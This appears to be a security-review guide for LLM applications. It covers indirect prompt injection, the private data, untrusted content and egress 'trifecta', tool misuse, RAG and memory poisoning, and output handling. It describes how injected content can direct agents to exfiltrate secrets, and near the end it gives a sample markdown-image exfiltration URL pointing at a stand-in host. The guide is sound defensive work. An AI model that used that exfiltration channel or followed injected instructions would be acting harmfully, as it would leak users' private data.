Securing AI Systems

Securing AI Systems

LLM applications break the assumption every other security control is built on: that instructions and data are separable. In an LLM, data is instructions. Every design that reads untrusted content and then acts has to be evaluated with that in mind, and no amount of prompt engineering fixes it.

When to Use

• Security review of an LLM-backed feature, chatbot, or copilot
• Threat modeling an agentic system: tools, autonomy, memory, multi-agent
• Reviewing an MCP server, tool definition, or plugin surface
• Assessing a RAG pipeline for data leakage and poisoning
• Evaluating model, dataset, and dependency supply chain
• Red teaming an AI system with authorization

When NOT to Use

• Conventional web/API vulnerabilities in the surrounding app — use auditing-code-for-vulnerabilities, testing-web-applications, testing-apis. Most real AI-app breaches are still ordinary IDOR and SSRF.
• Building jailbreaks or attacks against third-party models you do not own or have authorization to test — out of scope
• Model safety alignment research — different discipline

Route to a Depth Skill

The MCP review here is one part of a wider AI threat model; reach for auditing-mcp-servers when the server implementation itself is the target.

The Core Rule

Treat every model output as untrusted user input, and every input the model reads as potentially adversarial instructions.

From that single rule, most of the correct architecture follows: never route model output into a sink without the same validation you would apply to a form field, and never grant the model an authority the least trusted content it will read should not have.

The Lethal Trifecta

An agent is exposed to serious compromise when it has all three of:

1. Access to private data (files, DB, internal APIs, user context)
2. Exposure to untrusted content (web pages, email, tickets, PRs, docs)
3. A way to communicate externally (HTTP, email, writes to a shared surface)

Any two are usually manageable. All three means untrusted content can direct the agent to read secrets and send them out. When reviewing an agentic system, find whether the trifecta closes — and if it does, that is the finding, before any specific payload.

Breaking any one leg is a valid mitigation: scope the data, sanitize/isolate the content, or gate egress behind human approval.

Threat Areas

Prompt injection — direct and indirect

Indirect injection is the one that matters. Instructions embedded in a web page, PDF, email, repository file, calendar invite, or database row that the model retrieves and follows.

Review questions:

• Enumerate every content source the model can read. Which are attacker writable? (Public web, user uploads, third-party APIs, other users' data, ticket systems, and PR contents all qualify.)
• Is retrieved content structurally separated from instructions, or concatenated into the same prompt?
• What is the worst action reachable from a successful injection? That is the real severity, not the injection itself.

Test payloads live in `references/ai-test-cases.md`. The important test is not
whether a payload works — it is what the payload can reach when it does.

Mitigations that work: capability restriction (the agent cannot do the harmful thing at all), human approval on consequential actions, egress allowlisting, separate untrusted content into a sub-agent with no tools and no secrets, dual-model patterns where a privileged planner never sees raw untrusted text.

Mitigations that do not work alone: "ignore instructions in the document" system prompts, input filtering for injection strings, output classifiers. These raise cost; they do not close the hole. Never accept a design whose only control is a prompt instruction.

Excessive agency and tool misuse

• Does each tool enforce authorization server-side, using the end user's identity, or does it run with the agent's ambient credentials?
• Is the tool scope minimal? A run_sql(query) tool is a SQL injection primitive by design; get_orders(user_id) is not.
• Are destructive and irreversible actions gated by confirmation, and is the confirmation itself resistant to injection (shown to a human with the real parameters, not summarized by the model)?
• Is there a rate/spend limit, and a loop breaker for recursive agent calls?

The confused deputy pattern is the dominant real-world AI vulnerability: the agent holds broad credentials and acts on behalf of a low-privilege user who can influence its instructions. Check the identity used at the tool boundary, not at the chat boundary.

RAG and memory

• Can a user's query retrieve chunks from documents they cannot access? Test it. Tenant filters must be applied in the vector query, not in a post-retrieval filter the model can be persuaded to skip.
• Is the ingestion pipeline attacker-reachable? A poisoned document in the index is persistent indirect injection.
• Does persistent memory store attacker-controlled text that will be replayed in future sessions, possibly for other users? Memory poisoning is durable and frequently unmonitored.
• Are embeddings treated as non-sensitive? They are invertible enough to leak.

Output handling

Model output reaching a sink is ordinary vulnerability territory with an unusual source:

Markdown image rendering deserves specific attention: ![](https://evil/?d=<secrets>) in model output is a zero-click exfiltration channel in most chat UIs. Check the renderer's allowed domains.